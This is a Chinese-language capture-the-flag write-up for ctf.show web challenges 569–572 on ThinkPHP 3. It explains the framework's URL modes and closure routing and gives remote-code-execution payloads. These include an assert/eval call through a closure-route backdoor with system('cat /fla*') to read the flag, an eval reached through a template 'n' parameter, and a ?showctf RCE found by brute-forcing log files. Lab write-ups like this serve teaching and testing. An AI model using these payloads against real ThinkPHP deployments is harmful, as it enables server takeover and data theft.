做这题之前,先补充下thinkphp3的URL模式,ThinkPHP支持的 URL模式有四种:普通模式、PATHINFO、REWRITE和兼容模式。
入口文件是应用的单一入口,对应用的所有请求都定向到应用入口文件,系统会从URL参数中解析当前请求的模 块、控制器和操作:
http://serverName/index.php/模块/控制器/操作
--普通模式:
普通模式也就是传统的GET传参方式来指定当前访问的模块和操作,例如:
http://localhost/?m=home&c=user&a=login&var=value
m参数表示模块,c参数表示控制器,a参数表示操作(当然这些参数都是可以配置的),后面的表示其他GET参 数。
--PATHINFO模式:
PATHINFO模式是系统的默认URL模式,提供了最好的SEO支持,系统内部已经做了环境的兼容处理,所以能够 支持大多数的主机环境。对应上面的URL模式,PATHINFO模式下面的URL访问地址是:
http://localhost/index.php/home/user/login/var/value/
PATHINFO地址的前三个参数分别表示模块/控制器/操作。
--REWRITE模式:
REWRITE模式是在PATHINFO模式的基础上添加了重写规则的支持,可以去掉URL地址里面的入口文件 index.php,但是需要额外配置WEB服务器的重写规则。
http://localhost/home/user/login/var/value
--兼容模式:
兼容模式是用于不支持PATHINFO的特殊环境,URL地址是:
http://localhost/?s=/home/user/login/var/value
其中参数s来自于ThinkPHP->Conf->convention.php中的VAR_PATH_INFO设置,可以更改兼容模式变量的名称定义
回到题目569,要求使用pathinfo模式进行访问,那么payload就简单了。(默认大小写不敏感)
payload:
http://671a5ba9-1876-433b-85fd-ed8f400f61fa.challenge.ctf.show/index.php/Admin/Login/ctfshowLogin
web570
补充下路由的知识
利用路由功能,可以让你的URL地址更加简洁和优雅。ThinkPHP支持对模块的URL地址进行路由操作(路由功能 是针对PATHINFO模式或者兼容URL而设计的,暂时不支持普通URL模式)。
ThinkPHP的路由功能包括:
- 正则路由
- 规则路由
- 静态路由(URL映射)
- 闭包支持
闭包定义
我们可以使用闭包的方式定义一些特殊需求的路由,而不需要执行控制器的操作方法了,例如:
'URL_ROUTE_RULES'=>array(
'test' =>function(){
echo 'just test';
},
'hello/:name' =>function($name){
echo 'Hello,'.$name;
}
)
当我们访问的url地址是:http://url/index.php/test,则浏览器输出的结果是: just test
当我们访问的url地址是:http://url/index.php/jack,则浏览器输出的结果是: Hello jack
在Application/Commom/Conf/config.php中,发现闭包路由后门
当我们访问url/index.php/ctfshow/aaa/bbb时,会执行call_user_func(aaa,bbb)函数
PHP函数详解:call_user_func()使用方法 - djiz - 博客园
call_user_func(aaa,bbb) 就是执行aaa()函数,bbb当做其参数
在用get传参是会出现;
和/
传不进去的情况,这时可以这样传参:
#get
url/index.php/ctfshow/assert/eval($_POST[1])
#post
1=system('cat /fla*');
web571
ThinkPHP 3.2.3 漏洞复现 - 安全客,安全资讯平台
Home\Controller\IndexController
下的index中传入了一个可控参数
一路跟进到 fetch()
,然后一路进入 Hook::listen('view_parse', $params);
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
yu22x:
可以看到我们传入的n也就是content在TMPL_ENGINE_TYPE是php的情况下会进到eval函数中。
所以我们直接传php代码就可以了。 payload:
?n=
web572
此题需要使用爆破来获得关键信息,非扫描,爆破次数不会超过365次,否则均为无效操作
爆破日期出来,看到从?showctf 可以rce
/index.php?showctf=